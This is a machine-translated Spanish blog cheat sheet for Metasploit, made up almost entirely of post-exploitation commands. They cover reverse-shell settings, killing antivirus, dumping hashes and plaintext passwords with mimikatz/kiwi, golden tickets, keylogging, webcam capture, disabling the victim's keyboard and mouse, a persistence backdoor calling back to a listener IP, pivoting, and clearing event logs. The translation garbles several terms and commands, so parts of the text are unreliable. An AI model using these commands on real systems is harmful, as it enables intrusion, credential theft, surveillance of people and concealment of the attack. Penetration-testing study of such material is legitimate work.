Explicación súper detallada de la penetración de metasploit (MSF): herramienta de penetración Xiaohei

Metasploit Framework (msf) contiene miles de vulnerabilidades de software conocidas y se actualiza continuamente. Metasploit se puede utilizar para todo el proceso de pruebas de penetración, como la recopilación de información, la detección de vulnerabilidades y la explotación de vulnerabilidades. Está escrito en lenguaje Ruby. ¡Hackea el título de todo el universo! ! !

Intención original: registrar el proceso de prueba de penetración de msfconsole, así como algunos comandos comúnmente utilizados en cada punto del proceso. Puede señalar algunas deficiencias en él. Agregaré suplementos a este blog y también anotaré los nombres de todos en el suplemento. dentro del ¡capítulo! ! Trabajemos juntos ^-^

Después de que se publique este capítulo, se publicarán pruebas prácticas más adelante y también se actualizarán los comandos comunes para Win y Linux.

Tabla de contenido 

msf que viene con kali, actualiza y actualiza

Proceso básico de uso de penetración

Configuración de parámetros de carga útil de ataque

meterpreter [herramienta post-explotación después de obtener permiso]

Funciones de Meterperter [Módulo posterior a la penetración]

Comando posterior a la penetración [comando de información del sistema host win]

Módulo de penetración post-POST [Ataque de penetración después de obtener el control del host objetivo]

Proceso post-infiltración [Comandos comunes para el proceso]

Utilice mimikatx para obtener contraseñas

Elevar privilegios [Elevar privilegios de ganar al sistema]

Uso del módulo KiWi (el módulo mimikatz integrado en msf se reemplaza por kiwi)

Módulo posterior a la penetración [Configuración de parámetros de la aplicación de instalación del host]

Módulo posterior a la penetración [Configuración de operación en segundo plano]

 Crear una puerta trasera persistente

MSF construye un proxy de calcetines

Configuración de enrutamiento

Descripción del parámetro de enrutamiento

 sistema de ganancia de reenvío de puertos portfwd

powershell recopila información del dominio

Nota: comando de carga del módulo meterpreter


msf que viene con kali, actualiza y actualiza

apt update actualiza la información del paquete de instalación, solo verifica pero no actualiza

apt update actualiza los paquetes instalados sin eliminar los paquetes antiguos

paquete de actualización de actualización completa apto, eliminar paquete antiguo

Si Kali no se utiliza durante mucho tiempo, la firma digital caducará, lo que imposibilitará la actualización de la fuente.

wget -q -O - https://archive.kali.org/archive-key.asc | apt-key agregar solución

 

Proceso básico de uso de penetración

msfconsole ingresa al marco de búsqueda ms17_010    

                   

busque para encontrar módulos de ataque de vulnerabilidad relacionados (auxiliar es un módulo de detección auxiliar para detectar si la vulnerabilidad existe, exploit es un módulo de explotación de vulnerabilidad)

usar xxx/xxx/xxx usar seleccionar módulo de ataque

info Utilice información para ver información sobre el tipo de vulnerabilidad (versión del sistema de destino, versión de idioma)

mostrar cargas útiles Ver las cargas útiles que pueden ser explotadas por esta vulnerabilidad

establecer carga útil xxx/xxx Establecer carga útil de ataque

mostrar opciones Ver los parámetros que el módulo debe configurar

mostrar objetivos Ver plataformas de sistemas atacables (de forma predeterminada, la versión y el idioma del sistema operativo de destino se determinarán automáticamente)

establecer xxxx establecer parámetros

explotar / ejecutar guardar / atacar (si es una detección, el signo + indica la existencia de la vulnerabilidad) fase posterior a la penetración

Configuración de parámetros de carga útil de ataque

set RHOST 192.168.100.158 #Set RHOST, que significa atacar la IP del host

set LHOST 192.168.100.132 #Set LHOST, que es la IP de nuestro host, utilizada para recibir el shell devuelto desde la máquina de destino

establecer lport 6666 #Establecer lport, que es el puerto de nuestro host, y rebotar el shell a este puerto; si no configuramos lport aquí, el valor predeterminado es 4444 puerto de escucha;

meterpreter [herramienta post-explotación después de obtener permiso]

Meterpreter es una carga útil de etapa. En Metasploit Framework, Meterpreter es una carga útil que se puede expandir a través de la red durante la operación. Esta herramienta se basa en el concepto de "inyección de DLL de memoria" , que permite que el sistema de destino ejecute el archivo DLL inyectado creando un nuevo proceso y llamando a la DLL inyectada.

Flujo de trabajo: el objetivo primero debe realizar una conexión de sesión de vulnerabilidad de desbordamiento inicial, que puede ser una conexión directa de enlace o una conexión inversa de rebote. Al recuperar la conexión, se carga el archivo de enlace dll y el archivo dll se procesa silenciosamente en segundo plano. Luego inicialícelo a través del código central de meterpreter, establezca un túnel cifrado TLS/1.0 a través del socket y envíe una solicitud GET al servidor Metasploit. Después de recibir la solicitud GET, el servidor Metasploit configura el cliente correspondiente. Finalmente, meterpreter carga la extensión y todas las extensiones cargadas transmiten datos a través de TLS/1.0.

Funciones de Meterperter [Módulo posterior a la penetración]

meterpreter reside completamente en la memoria y no escribe en el disco

Meterpreter no crea un nuevo proceso cuando se inyecta y se puede trasplantar fácilmente a otros procesos en ejecución. Las comunicaciones de Mertepreter están cifradas por defecto, por lo que son seguras

    Extensibilidad, se pueden cargar muchos módulos de funciones nuevas.            

                   Al configurar la carga útil, puede configurarla como un enlace inverso y obtener meterpreter>            

                   Luego puedes seguir el proceso de penetración.

? [¿Ingresar directamente? , puede ver la descripción del parámetro en meterpreter]

fondo [meterpreter se puede montar para ejecutarse en segundo plano]

sesiones -l [Ver la lista de sesiones obtenidas de meterpreter_shell]

Comando posterior a la penetración [comando de información del sistema host win]

sysinfo Ver información del sistema host de destino

ejecute scraper para ver los detalles del host de destino

ejecutar hashdump exporta el hash de la contraseña

cargar kiwi cargar mimikatz

ps Ver información del proceso del host de destino

pwd Ver el directorio actual de destino (Windows)

getlwd Ver el directorio actual del directorio (linux) buscar -f *.jsp -de:\ Buscar todos los archivos con el sufijo .jsp en la unidad e

descargar e:\test.txt /root Descargue el archivo e:\test.txt del host de destino al directorio /root

cargar /root/test.txt d:\test Cargar /root/test.txt al directorio d:\test\ del directorio de la máquina

getpid Ver el PID del proceso del shell Meterpreter

migrar 1384 Migrar el proceso de shell Merterpreter actual al proceso con PID 1384

idletime Ver el tiempo de ejecución del host

getuid Ver los permisos actuales obtenidos

Getsystem eleva los privilegios sólo si el usuario actual obtenido es administrador.

ejecutar killav desactiva el software antivirus

captura de pantalla captura de pantalla

webcam_list Ver las cámaras del host de destino

webcam_snap tomar foto

webcam_stream abrir vídeo

ejecutar parámetro -f archivo ejecutable ejecuta el programa ejecutable

ejecute getgui -u testl -p ABC123 Cree un usuario testl con contraseña ABC123

ejecute getgui -e inicia el escritorio remoto

keyscan_start activa la función de registro de teclas

keyscan_dump muestra información de registro de teclas capturada

keyscan_stop detiene la función de registro de teclas

uictl deshabilitar el teclado prohíbe al objetivo usar el teclado

uictl enable teclado permite que el objetivo use el teclado

uictl deshabilitar el mouse prohíbe al objetivo usar el mouse

uictl enable mouse permite que el objetivo use el mouse

cargar utiliza la biblioteca de extensión

ejecutar usando la biblioteca de extensiones

Módulo de penetración post-POST [Ataque de penetración después de obtener el control del host objetivo]

administrar

ejecutar post/windows/manage/migrate migración automática de procesos 

ejecute post/windows/manage/killav para desactivar el software antivirus

ejecute post/windows/manage/enable_rdp para abrir el servicio de escritorio remoto

ejecute post/windows/manage/autoroute para ver la información de ruta

ejecute post/windows/manage/enable_rdp NOMBRE DE USUARIO=SS2 CONTRASEÑA=123456     

Agregar usuario de escritorio remoto

ejecute post/windows/manage/enable_rdp FORWARD=true LPORT=6662 

Puerto de reenvío 3389 a 6662

recolectar

ejecute post/windows/gather/enum_logged_on_users listas de usuarios actualmente registrados

ejecute post/windows/gather/enum_applications para enumerar las aplicaciones

ejecute post/windows/gather/credentials/windows_autologin obtenga el nombre de usuario y la contraseña del inicio de sesión automático ejecute post/windows/gather/smart_hashdump descargue el hash de todos los usuarios

ejecute post/windows/gather/enum_domain para ver el control de dominio

ejecute post/windows/gather/enum_patches información del parche [obtenga si hay un número de parche de msf que pueda usarse directamente]

ejecute post/windows/gather/checkvm para comprobar si el host de destino se está ejecutando en una máquina virtual

   Proceso post-infiltración [Comandos comunes para el proceso]

sysinfo Ver información sobre el host de destino

ejecute post/windows/gather/checkvm para verificar si el host se está ejecutando en una máquina virtual

ejecutar killav desactiva el software antivirus del host de destino

ejecutar scraper obtiene los detalles del host de destino y accede al sistema de archivos

pwd ver el directorio actual

gato lee el contenido del archivo

rm eliminar archivos

editar Editar archivos usando vim

mkdir crea un nuevo directorio

rmdir eliminar directorio

descargar archivo Ayuda a descargar archivos desde el sistema de destino

duload file (archivo) Sube archivos al sistema de destino

El comando getuid puede obtener la información del usuario actual.

getsystem eleva automáticamente los privilegios a privilegios del sistema

Utilice mimikatx para obtener contraseñas

ejecute windows/gather/credentials/windows_autologin para obtener el nombre de usuario y la contraseña para el inicio de sesión automático

ejecute hashdump exportar contraseña hash formato de exportación: nombre de usuario: SID: hash LM: hash NTLM:::

El uso del comando ejecutar windows/gather/smart_hashdump requiere permisos del sistema

Requisito previo: se requieren permisos del sistema para ejecutar mimikatz y, al ejecutar, la selección debe basarse en el número de sistema actual.

Primero verifique los permisos de la sesión actual (getuid), luego mire el número del sistema (sysinfo), (cargue) la ruta absoluta del archivo cargado, ejecute -i -f mimikatz.exe (ejecutar) [Nota: mimikatz debe usar permisos del sistema    ]

Obtenga la contraseña: privilegio::depuración

                   sekurlsa::contraseñas de inicio de sesión

Elevar privilegios [Elevar privilegios de ganar al sistema]

1. El permiso actual es el usuario administrador.

2. Utilice otros medios para elevar primero los privilegios al usuario administrador, luego el usuario administrador puede usar directamente el comando getsystem en meterpreter_shell para elevar los privilegios a los privilegios del sistema.

       

getuid Ver la identidad del usuario de la sesión actual

getsystem intenta escalar privilegios automáticamente

Uso del módulo KiWi (el módulo mimikatz integrado en msf se reemplaza por kiwi)

El módulo mimikatz integrado en msf ha sido sustituido por kiwi            

         Requisito previo: Eleve los derechos a los permisos del sistema. La carga predeterminada de kiwi es de 32 bits. Si el host de destino es un sistema de 64 bits, Ze primero debe mirar la lista de procesos del sistema y luego migrar el proceso meterpreter a un proceso de programa de 64 bits antes de cargar kiwi y ver el texto sin formato del sistema.         

sysinfo Ver sistema 

ps para comprobar si hay procesos de 64 bits

El proceso de migración PID                                             migra a Pid.

kiwi_cmd sekurlsa::logonpasswords puede usar todas las funciones de mimikatz

ps ver proceso

cargar kiwi carga el módulo kiwi

ayuda kiwi Ver módulo kiwi

creds_all enumera todas las credenciales y puede enumerar contraseñas de texto sin cifrar en el sistema

creds_kerberos enumera todas las credenciales de Kerberos

creds_msv enumera todas las credenciales de msv

creds_ssp enumera todas las credenciales ssp

creds_tspkg enumera todas las credenciales de tspkg

creds_wdigest enumera todas las credenciales de wdigest

dcsync Recuperar información de la cuenta de usuario a través de dcsync

dcsync_ntlm Recuperar hash NTM, SID y RID de la cuenta de usuario a través de dcsync

golden_ticket_create crea un ticket dorado

kerberos_ticket_list enumera los tickets de Kerberos

kerberos_ticket_purge borra los tickets de Kerberos

kerberos_ticket_use utilizar tickets de kerberos

kiwi_cmd ejecuta el comando mimikatz, seguido del comando mimikatz.exe lsa_dump_sam vuelca el SAM de lsa

lsa_dump_secrets vuelca el texto cifrado de lsa

contraseña_cambiar cambiar contraseña

wifi_list enumera los archivos de configuración wifi del usuario actual

wifi_list_shared enumera perfiles/codificaciones wifi compartidos

Módulo posterior a la penetración [Configuración de parámetros de la aplicación de instalación del host]

ejecute post/windows/gathtier/enum_applications para ver qué aplicaciones están instaladas en el host de destino

ejecutar + [parámetro]

-f token de hilo falso para ejecutar el archivo ejecutable especificado

-H crea un proceso oculto

-a parámetros pasados ​​al comando

-interactúo con el proceso

-m ejecutar desde la memoria

-t usar el proceso de línea actual

-s ejecuta el proceso en la sesión dada

captura de pantalla Tome una captura de pantalla de la pantalla del host de destino

ejecute post/windows/gather/enum_logged_on_users para verificar si hay usuarios en el host de destino

crear una cuenta:

Método 1: ejecute getgui -u nombre de usuario -p contraseña

Método 2: ejecute post/windows/manage/enable_rdp nombre de usuario=xxx contraseña=xxxx

Habilitar escritorio remoto:

idletime comprueba el tiempo de inactividad del usuario remoto

ejecute post/windows/manage/enable_rdp para abrir el escritorio remoto

ejecute post/windows/manage/enable_rdp FORWARD=true LPORT=6662 Reenvíe el puerto 3389 al puerto 6662

Módulo posterior a la penetración [Configuración de operación en segundo plano]

 Registrador de teclas:

keyscan_start activa la función de registro de teclas

keyscan_dump muestra información de registro de teclas capturada

keyscan_stop detiene la función de registro de teclas

Deshabilite el host de destino para que no pueda usar el teclado y el mouse:

El teclado uictl deshabilitar (habilitar) impide que el objetivo use el teclado.

uictl deshabilitar (habilitar) el mouse prohíbe que el objetivo use el mouse

La cámara principal de destino toma fotografías:

webcam_list Obtiene la lista de cámaras del sistema de destino

webcam_snap toma fotografías desde la cámara especificada

webcam_stream inicia el vídeo desde la cámara especificada

cargar/usar módulo de carga

load -l enumera todas las extensiones disponibles

cargar -ayuda ayuda;

Instrucciones: Genere un troyano de puerta trasera y colóquelo en el directorio de inicio de Windows: C:\Users\$username$\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

Inicio del servicio:   ejecute exploit/windows/local/peristence lhost=192.168.100.132 lport=xxx

Conexión de proceso 192.168.100.132: 8888 [Desventaja: fácil de matar]

netstat -ano: findtr “8888”

 Crear una puerta trasera persistente

La conexión establecida por el módulo meterpreter basado en la memoria DLL debe dejar una puerta trasera persistente dentro del sistema de destino.

Dos caminos:

        Uno se inicia a través de elementos de inicio (persistencia),

        Se inicia el segundo servicio (metsvc)

Elementos de inicio:

Primero se debe generar un troyano de puerta trasera y luego colocarlo en el directorio de inicio de Windows, siempre que la computadora esté encendida se puede iniciar la conexión al puerto correspondiente.

C:\Users\$username$\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

Inicio del servicio:

ejecute exploit/windows/local/persistence lhost=192.168.100.132 lport=8888        

#Se conectará automáticamente al puerto 8888 de 192.168.100.132. La desventaja es que es fácil de detectar mediante software antivirus.

MSF construye un proxy de calcetines

Hay tres módulos de proxy en msf, Socks4a, Socks5 y Socks_unc. Socks5 puede configurar el nombre de usuario y la contraseña, pero a veces MSF no escucha el puerto, lo que puede provocar que el proxy falle. Utilice auxiliar/servidor/socks. este módulo. El módulo de calcetines aquí simplemente configura el proxy para escuchar (el valor predeterminado es 1080), es decir, el tráfico a través de las cadenas de proxy se transfiere al puerto local 1080, y debido a que este es el puerto de escucha iniciado por MSF, el proceso a través del El proxy también puede llegar a la intranet.

Configuración de proxy:

Cambie el módulo en msf para usar auxiliar/servidor/socks_proxy

mostrar opciones Ver detalles del módulo Configurar la interfaz IP y el puerto para el monitoreo de calcetines          

configurar SRVHOST ip (127.0.0.1) && configurar el puerto SRVPORT

configuración del proxy de calcetines4a:

usar auxiliar/servidor/socks4a

establecer SRVHOST 0.0.0.0

configurar SRVPORT 1080 ejecutar

configuración de proxy de calcetines5:

usar auxiliar/servidor/calcetines5

establecer SRVHOST 0.0.0.0

establecer SRVPORT 1080

establecer la raíz del NOMBRE DE USUARIO

establecer CONTRASEÑA Contraseña@

correr

Agente de conexión:

Edite el archivo de configuración del programa proxychains local vim /etc/proxychains.conf. El navegador también necesita configurar un proxy. Puede acceder a la intranet directamente a través del navegador y encontrar ProxyList.

[Lista de proxy]

Agregue calcetines5 0.0.0.0 1080 contraseña raíz [1080 es el puerto de escucha]

Cuando utilice nmap para probar el programa, debe utilizar proxychains4 nma -sT -Pn xxxx.

Configuración de enrutamiento

 [Agregar enrutamiento antes de usar proxy]

Primero agregue una ruta para que MSF pueda llegar a la red interna de la máquina de destino.

ruta agregar 209.98.32.33 máscara 255.255.255.224 202.96.123.3 métrica 5 Ejecute el comando para agregar una ruta

route print imprime el Destino de la ruta        

eliminar ruta 209.98.32.33 eliminar ruta

cambio de ruta 209.98.32.33 máscara de red 255.255.255.224 202.96.123.3 métrica 5 [modificar puerta de enlace 209.98.32.33 a 202.96.132.3]

Reenvío de ruta:

método uno:

ruta Ver información del segmento de red

background pone el proceso actual en segundo plano y regresa a msf

ruta agregar 172.16.10..0 255.255.255.0 1 Agregar ruta (1 es el número de sesión pendiente)

impresión de ruta                

Ver información de ruta

Método 2: usar post/multi/manage/autoroute

configurar el exploit de la sesión 1 [Cargue este módulo directamente y llame a la sesión]

Desventajas: el reenvío de proxy de esta manera solo puede ser utilizado por msf, otras aplicaciones no pueden usarlo y otras aplicaciones necesitan agregar un proxy de calcetín.

Descripción del parámetro de enrutamiento

 agregar agrega registros de enrutamiento                                        

 eliminar registros de enrutamiento

objetivo red de destino o host de destino                                

gw establece la puerta de enlace predeterminada

mss establece la longitud máxima del bloque de TCP, en MB            

Windows especifica el tamaño de la ventana TCP para las conexiones TCP a través de la tabla de enrutamiento.

dev La interfaz de red representada por el registro de enrutamiento.

máscara de red establece la longitud de la máscara                                    

-A establece el tipo de dirección      

-c imprime la caché de enrutamiento del kernel de Linux  

-v mostrar información detallada      

 -n no realiza una búsqueda inversa de DNS y muestra directamente la dirección IP en forma numérica

-e formato netstart muestra la tabla de enrutamiento        

 -net Tabla de enrutamiento a una red

-tabla de enrutamiento del host a un host

 sistema de ganancia de reenvío de puertos portfwd

agregar puerto -l 9999 -r 192.168.100.158 -p 3389             

#Reenvíe el puerto 3389 de 192.168.11.13 al puerto local 9999. 192.168.100.158 aquí está el derecho a obtener

La dirección IP del host restringido

agregar puerto -l 9999 -r 192.168.100.158 -p 3389    

-l puerto de escucha local

-p puerto del servidor de destino

agregar agrega una conexión

Reenvíe el puerto de destino al puerto de escucha local para recibir rebotes de puerto desde el host de destino.

rdesktop 127.0.0.1:9999 Acceda al puerto 9999 local para conectarse al puerto 3389 del host de destino

clearev #borrar registro

powershell recopila información del dominio

cargar powershell carga la función powershell

powershell_import /root/PowerView.ps1 Importe el script de PowerShell y colóquelo en el destino especificado de antemano

powershell_execute Get-NetDomain Este módulo obtiene información del dominio

powershell_execute Invoke-UserHunter Este módulo de función se utiliza para localizar el host donde el administrador del dominio inicia sesión powershell_execute Get-NetForest Este módulo se utiliza para localizar información del dominio powershell_execute Invoke-EnumerateLocalAdmin                             

Enumerar los miembros del grupo de administradores locales en todas las computadoras del dominio.

Nota: comando de carga del módulo meterpreter

El comando del módulo meterpreter está incompleto. Puede ejecutar load  lstdapi para cargar el comando de finalización.

A veces, la post-penetración recibida no es una sesión de tipo meterperpreter, puede usar sesiones -u id para actualizar la sesión. Al ejecutar este comando, se llama a /post/multi/manage/shell_to_meterpreter de forma predeterminada.

La identificación en sesiones -u id es la identificación de la carga útil

Supongo que te gusta

Origin blog.csdn.net/G_WEB_Xie/article/details/130560266
Recomendado
Clasificación